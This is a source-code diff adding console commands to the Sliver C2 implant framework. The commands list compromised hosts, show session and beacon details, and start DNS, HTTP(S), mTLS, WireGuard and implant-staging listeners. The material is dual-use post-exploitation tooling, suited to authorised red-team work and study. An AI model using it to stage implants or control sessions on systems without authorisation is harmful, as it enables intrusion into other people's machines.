+	"github.com/desertbit/grumble"
+
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+var (
+	// ErrNoHosts - No hosts in database
+	ErrNoHosts = errors.New("no hosts")
+	// ErrNoSelection - No selection made
+	ErrNoSelection = errors.New("no selection")
+)
+
+// HostsCmd - Main hosts command
+func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+	if 0 < len(allHosts.Hosts) {
+		con.Printf("%s\n", hostsTable(allHosts.Hosts, con))
+	} else {
+		con.PrintInfof("No hosts\n")
+	}
+}
+
+func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Hostname",
+		"Operating System",
+		"Sessions",
+		"Beacons",
+		"IOCs",
+		"Extensions",
+	})
+	for _, host := range hosts {
+		var shortID string
+		if len(host.HostUUID) < 8 {
+			shortID = host.HostUUID[:len(host.HostUUID)]
+		} else {
+			shortID = host.HostUUID[:8]
+		}
+		tw.AppendRow(table.Row{
+			shortID,
+			host.Hostname,
+			host.OSVersion,
+			hostSessionNumbers(host.HostUUID, con),
+			hostBeacons(host.HostUUID, con),
+			len(host.IOCs),
+			len(host.ExtensionData),
+		})
+	}
+	return tw.Render()
+}
+
+func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
+	hostSessions := SessionsForHost(hostUUID, con)
+	if 0 == len(hostSessions) {
+		return "None"
+	}
+	sessionNumbers := []string{}
+	for _, hostSession := range hostSessions {
+		sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
+	}
+	return strings.Join(sessionNumbers, ", ")
+}
+
+func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return "Error"
+	}
+	count := 0
+	for _, beacon := range beacons.Beacons {
+		if beacon.UUID == hostUUID {
+			count++
+		}
+	}
+	if count == 0 {
+		return "None"
+	} else {
+		return fmt.Sprintf("%d", count)
+	}
+}
+
+// SessionsForHost - Find session for a given host by id
+func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
+	sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return []*clientpb.Session{}
+	}
+	hostSessions := []*clientpb.Session{}
+	for _, session := range sessions.Sessions {
+		if session.UUID == hostUUID {
+			hostSessions = append(hostSessions, session)
+		}
+	}
+	return hostSessions
+}
+
+// SelectHost - Interactively select a host from the database
+func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) {
+	allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
+	// to work properly since we rely on the index of the user's selection to find the session in the map
+	var keys []string
+	var hostMap = make(map[string]*clientpb.Host)
+	for _, host := range allHosts.Hosts {
+		keys = append(keys, host.HostUUID)
+		hostMap[host.HostUUID] = host
+	}
+	sort.Strings(keys)
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Column Headers
+	for _, key := range keys {
+		host := hostMap[key]
+		fmt.Fprintf(table, "%s\t%s\t\n",
+			host.Hostname,
+			host.OSVersion,
+		)
+	}
+	table.Flush()
+
+	options := strings.Split(outputBuf.String(), "\n")
+	options = options[:len(options)-1] // Remove the last empty option
+	prompt := &survey.Select{
+		Message: "Select a host:",
+		Options: options,
+	}
+	selected := ""
+	survey.AskOne(prompt, &selected)
+	if selected == "" {
+		return nil, ErrNoSelection
+	}
+
+	// Go from the selected option -> index -> host
+	for index, option := range options {
+		if option == selected {
+			return hostMap[keys[index]], nil
+		}
+	}
+	return nil, ErrNoSelection
+}

client/command/info/README.md

@@ -0,0 +1,4 @@
+Info
+====
+
+Implements session information commands like `info`, `print`, `whoami`, etc.

client/command/info/info.go

@@ -0,0 +1,124 @@
+package info
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+
+	"github.com/desertbit/grumble"
+)
+
+// InfoCmd - Display information about the active session
+func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	if session != nil {
+
+		con.Printf(console.Bold+"                ID: %s%d\n", console.Normal, session.ID)
+		con.Printf(console.Bold+"              Name: %s%s\n", console.Normal, session.Name)
+		con.Printf(console.Bold+"          Hostname: %s%s\n", console.Normal, session.Hostname)
+		con.Printf(console.Bold+"              UUID: %s%s\n", console.Normal, session.UUID)
+		con.Printf(console.Bold+"          Username: %s%s\n", console.Normal, session.Username)
+		con.Printf(console.Bold+"               UID: %s%s\n", console.Normal, session.UID)
+		con.Printf(console.Bold+"               GID: %s%s\n", console.Normal, session.GID)
+		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, session.PID)
+		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, session.OS)
+		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, session.Version)
+		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, session.Arch)
+		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
+		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
+		con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
+
+	} else if beacon != nil {
+
+		con.Printf(console.Bold+"                ID: %s%s\n", console.Normal, beacon.ID)
+		con.Printf(console.Bold+"              Name: %s%s\n", console.Normal, beacon.Name)
+		con.Printf(console.Bold+"          Hostname: %s%s\n", console.Normal, beacon.Hostname)
+		con.Printf(console.Bold+"              UUID: %s%s\n", console.Normal, beacon.UUID)
+		con.Printf(console.Bold+"          Username: %s%s\n", console.Normal, beacon.Username)
+		con.Printf(console.Bold+"               UID: %s%s\n", console.Normal, beacon.UID)
+		con.Printf(console.Bold+"               GID: %s%s\n", console.Normal, beacon.GID)
+		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, beacon.PID)
+		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, beacon.OS)
+		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, beacon.Version)
+		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, beacon.Arch)
+		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
+		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
+		con.Printf(console.Bold+"          Interval: %s%d\n", console.Normal, beacon.Interval)
+		con.Printf(console.Bold+"            Jitter: %s%d\n", console.Normal, beacon.Jitter)
+
+	} else {
+		con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
+	}
+}
+
+// PIDCmd - Get the active session's PID
+func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	if session != nil {
+		con.Printf("%d\n", session.PID)
+	} else if beacon != nil {
+		con.Printf("%d\n", beacon.PID)
+	}
+}
+
+// UIDCmd - Get the active session's UID
+func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	if session != nil {
+		con.Printf("%s\n", session.UID)
+	} else if beacon != nil {
+		con.Printf("%s\n", beacon.UID)
+	}
+}
+
+// GIDCmd - Get the active session's GID
+func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	if session != nil {
+		con.Printf("%s\n", session.GID)
+	} else if beacon != nil {
+		con.Printf("%s\n", beacon.GID)
+	}
+}
+
+// WhoamiCmd - Displays the current user of the active session
+func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	if session != nil {
+		con.Printf("%s\n", session.Username)
+	} else if beacon != nil {
+		con.Printf("%s\n", beacon.Username)
+	}
+}

client/command/info/ping.go

@@ -0,0 +1,30 @@
+package info
+
+import (
+	"context"
+	insecureRand "math/rand"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
+func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	nonce := insecureRand.Intn(999999)
+	con.PrintInfof("Ping %d\n", nonce)
+	pong, err := con.Rpc.Ping(context.Background(), &sliverpb.Ping{
+		Nonce:   int32(nonce),
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	} else {
+		con.PrintInfof("Pong %d\n", pong.Nonce)
+	}
+}

client/command/jobs/README.md

@@ -0,0 +1,4 @@
+Jobs
+=====
+
+Implements commands related to starting/killing jobs like `jobs` and starting C2 listeners (`mtls`, `http`, etc.)

client/command/jobs/dns.go

@@ -0,0 +1,57 @@
+package jobs
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// DNSListenerCmd - Start a DNS lisenter
+func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+
+	domains := strings.Split(ctx.Flags.String("domains"), ",")
+	for _, domain := range domains {
+		if !strings.HasSuffix(domain, ".") {
+			domain += "."
+		}
+	}
+
+	lhost := ctx.Flags.String("lhost")
+	lport := uint16(ctx.Flags.Int("lport"))
+
+	con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
+	dns, err := con.Rpc.StartDNSListener(context.Background(), &clientpb.DNSListenerReq{
+		Domains:    domains,
+		Host:       lhost,
+		Port:       uint32(lport),
+		Canaries:   !ctx.Flags.Bool("no-canaries"),
+		Persistent: ctx.Flags.Bool("persistent"),
+	})
+	con.Println()
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	} else {
+		con.PrintInfof("Successfully started job #%d\n", dns.JobID)
+	}
+}

client/command/jobs/http.go

@@ -0,0 +1,64 @@
+package jobs
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// HTTPListenerCmd - Start an HTTP listener
+func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	domain := ctx.Flags.String("domain")
+	lhost := ctx.Flags.String("lhost")
+	lport := uint16(ctx.Flags.Int("lport"))
+	disableOTP := ctx.Flags.Bool("disable-otp")
+	longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
+	http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
+		Domain:          domain,
+		Website:         ctx.Flags.String("website"),
+		Host:            lhost,
+		Port:            uint32(lport),
+		Secure:          false,
+		Persistent:      ctx.Flags.Bool("persistent"),
+		EnforceOTP:      !disableOTP,
+		LongPollTimeout: int64(longPollTimeout),
+		LongPollJitter:  int64(longPollJitter),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	} else {
+		con.PrintInfof("Successfully started job #%d\n", http.JobID)
+	}
+}

client/command/jobs/https.go

@@ -0,0 +1,93 @@
+package jobs
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"io/ioutil"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// HTTPSListenerCmd - Start an HTTPS listener
+func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	domain := ctx.Flags.String("domain")
+	website := ctx.Flags.String("website")
+	lhost := ctx.Flags.String("lhost")
+	lport := uint16(ctx.Flags.Int("lport"))
+
+	disableOTP := ctx.Flags.Bool("disable-otp")
+	longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	cert, key, err := getLocalCertificatePair(ctx)
+	if err != nil {
+		con.Println()
+		con.PrintErrorf("Failed to load local certificate %s\n", err)
+		return
+	}
+
+	con.PrintInfof("Starting HTTPS %s:%d listener ...\n", domain, lport)
+	https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
+		Domain:          domain,
+		Website:         website,
+		Host:            lhost,
+		Port:            uint32(lport),
+		Secure:          true,
+		Cert:            cert,
+		Key:             key,
+		ACME:            ctx.Flags.Bool("lets-encrypt"),
+		Persistent:      ctx.Flags.Bool("persistent"),
+		EnforceOTP:      !disableOTP,
+		LongPollTimeout: int64(longPollTimeout),
+		LongPollJitter:  int64(longPollJitter),
+	})
+	con.Println()
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	} else {
+		con.PrintInfof("Successfully started job #%d\n", https.JobID)
+	}
+}
+
+func getLocalCertificatePair(ctx *grumble.Context) ([]byte, []byte, error) {
+	if ctx.Flags.String("cert") == "" && ctx.Flags.String("key") == "" {
+		return nil, nil, nil
+	}
+	cert, err := ioutil.ReadFile(ctx.Flags.String("cert"))
+	if err != nil {
+		return nil, nil, err
+	}
+	key, err := ioutil.ReadFile(ctx.Flags.String("key"))
+	if err != nil {
+		return nil, nil, err
+	}
+	return cert, key, nil
+}

client/command/jobs/jobs.go

@@ -0,0 +1,104 @@
+package jobs
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"sort"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+
+	"github.com/desertbit/grumble"
+)
+
+// JobsCmd - Manage server jobs (listeners, etc)
+func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if ctx.Flags.Int("kill") != -1 {
+		jobKill(uint32(ctx.Flags.Int("kill")), con)
+	} else if ctx.Flags.Bool("kill-all") {
+		killAllJobs(con)
+	} else {
+		jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		// Convert to a map
+		activeJobs := map[uint32]*clientpb.Job{}
+		for _, job := range jobs.Active {
+			activeJobs[job.ID] = job
+		}
+		if 0 < len(activeJobs) {
+			printJobs(activeJobs)
+		} else {
+			con.PrintInfof("No active jobs\n")
+		}
+	}
+}
+
+func printJobs(jobs map[uint32]*clientpb.Job) {
+	table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
+	fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
+	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
+		strings.Repeat("=", len("ID")),
+		strings.Repeat("=", len("Name")),
+		strings.Repeat("=", len("Protocol")),
+		strings.Repeat("=", len("Port")))
+
+	var keys []int
+	for _, job := range jobs {
+		keys = append(keys, int(job.ID))
+	}
+	sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
+
+	for _, k := range keys {
+		job := jobs[uint32(k)]
+		fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
+	}
+	table.Flush()
+}
+
+func jobKill(jobID uint32, con *console.SliverConsoleClient) {
+	con.PrintInfof("Killing job #%d ...\n", jobID)
+	jobKill, err := con.Rpc.KillJob(context.Background(), &clientpb.KillJobReq{
+		ID: jobID,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	} else {
+		con.PrintInfof("Successfully killed job #%d\n", jobKill.ID)
+	}
+}
+
+func killAllJobs(con *console.SliverConsoleClient) {
+	jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	for _, job := range jobs.Active {
+		jobKill(job.ID, con)
+	}
+}

client/command/jobs/mtls.go

@@ -0,0 +1,46 @@
+package jobs
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// MTLSListenerCmd - Start an mTLS listener
+func MTLSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	lhost := ctx.Flags.String("lhost")
+	lport := uint16(ctx.Flags.Int("lport"))
+
+	con.PrintInfof("Starting mTLS listener ...\n")
+	mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
+		Host:       lhost,
+		Port:       uint32(lport),
+		Persistent: ctx.Flags.Bool("persistent"),
+	})
+	con.Println()
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	} else {
+		con.PrintInfof("Successfully started job #%d\n", mtls.JobID)
+	}
+}

client/command/jobs/stage.go

@@ -0,0 +1,128 @@
+package jobs
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"net/url"
+	"strconv"
+
+	"github.com/bishopfox/sliver/client/command/generate"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// StageListenerCmd --url [tcp://ip:port | http://ip:port ] --profile name
+func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	profileName := ctx.Flags.String("profile")
+	listenerURL := ctx.Flags.String("url")
+
+	if profileName == "" || listenerURL == "" {
+		con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
+		return
+	}
+
+	// parse listener url
+	stagingURL, err := url.Parse(listenerURL)
+	if err != nil {
+		con.PrintErrorf("Listener-url format not supported")
+		return
+	}
+	stagingPort, err := strconv.ParseUint(stagingURL.Port(), 10, 32)
+	if err != nil {
+		con.PrintErrorf("error parsing staging port: %v\n", err)
+		return
+	}
+
+	profile := generate.GetImplantProfileByName(profileName, con)
+	if profile == nil {
+		con.PrintErrorf("Profile not found\n")
+		return
+	}
+	stage2, err := generate.GetSliverBinary(profile, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	switch stagingURL.Scheme {
+	case "http":
+		ctrl := make(chan bool)
+		con.SpinUntil("Starting HTTP staging listener...", ctrl)
+		stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
+			Protocol: clientpb.StageProtocol_HTTP,
+			Data:     stage2,
+			Host:     stagingURL.Hostname(),
+			Port:     uint32(stagingPort),
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("Error starting HTTP staging listener: %s\n", err)
+			return
+		}
+		con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
+	case "https":
+		cert, key, err := getLocalCertificatePair(ctx)
+		if err != nil {
+			con.Println()
+			con.PrintErrorf("Failed to load local certificate %s\n", err)
+			return
+		}
+		ctrl := make(chan bool)
+		con.SpinUntil("Starting HTTPS staging listener...", ctrl)
+		stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
+			Protocol: clientpb.StageProtocol_HTTPS,
+			Data:     stage2,
+			Host:     stagingURL.Hostname(),
+			Port:     uint32(stagingPort),
+			Cert:     cert,
+			Key:      key,
+			ACME:     ctx.Flags.Bool("lets-encrypt"),
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("Error starting HTTPS staging listener: %v\n", err)
+			return
+		}
+		con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
+	case "tcp":
+		ctrl := make(chan bool)
+		con.SpinUntil("Starting TCP staging listener...", ctrl)
+		stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
+			Protocol: clientpb.StageProtocol_TCP,
+			Data:     stage2,
+			Host:     stagingURL.Hostname(),
+			Port:     uint32(stagingPort),
+		})
+		ctrl <- true
+		<-ctrl
+		if err != nil {
+			con.PrintErrorf("Error starting TCP staging listener: %v\n", err)
+			return
+		}
+		con.PrintInfof("Job %d (tcp) started\n", stageListener.GetJobID())
+
+	default:
+		con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
+		return
+	}
+}

client/command/jobs/wg.go

@@ -0,0 +1,47 @@
+package jobs
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// WGListenerCmd - Start a WireGuard listener
+func WGListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	lport := uint16(ctx.Flags.Int("lport"))
+	nport := uint16(ctx.Flags.Int("nport"))
+	keyExchangePort := uint16(ctx.Flags.Int("key-port"))
+
+	con.PrintInfof("Starting Wireguard listener ...\n")
+	wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
+		Port:       uint32(lport),
+		NPort:      uint32(nport),
+		KeyPort:    uint32(keyExchangePort),
+		Persistent: ctx.Flags.Bool("persistent"),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	} else {
+		con.PrintInfof("Successfully started job #%d\n", wg.JobID)
+	}
+}

client/command/kill/kill.go

@@ -0,0 +1,97 @@
+package kill
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"errors"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// KillCmd - Kill the active session (not to be confused with TerminateCmd)
+func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	// Confirm with the user, just in case they confused kill with terminate
+	confirm := false
+	promptSession := &survey.Confirm{Message: "Kill the active session?"}
+	promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
+	if session != nil {
+		survey.AskOne(promptSession, &confirm, nil)
+		if !confirm {
+			return
+		}
+		err := KillSession(session, ctx.Flags.Bool("force"), con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
+		con.ActiveTarget.Background()
+		return
+	}
+	if beacon != nil {
+		survey.AskOne(promptBeacon, &confirm, nil)
+		if !confirm {
+			return
+		}
+		err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
+		con.ActiveTarget.Background()
+		return
+	}
+	con.PrintErrorf("No active session or beacon\n")
+	return
+}
+
+func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
+	if session == nil {
+		return errors.New("session does not exist")
+	}
+	_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
+		Request: &commonpb.Request{
+			SessionID: session.ID,
+		},
+		Force: force,
+	})
+	return err
+}
+
+func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
+	if beacon == nil {
+		return errors.New("session does not exist")
+	}
+	_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
+		Request: &commonpb.Request{
+			BeaconID: beacon.ID,
+		},
+		Force: force,
+	})
+	return err
+
+}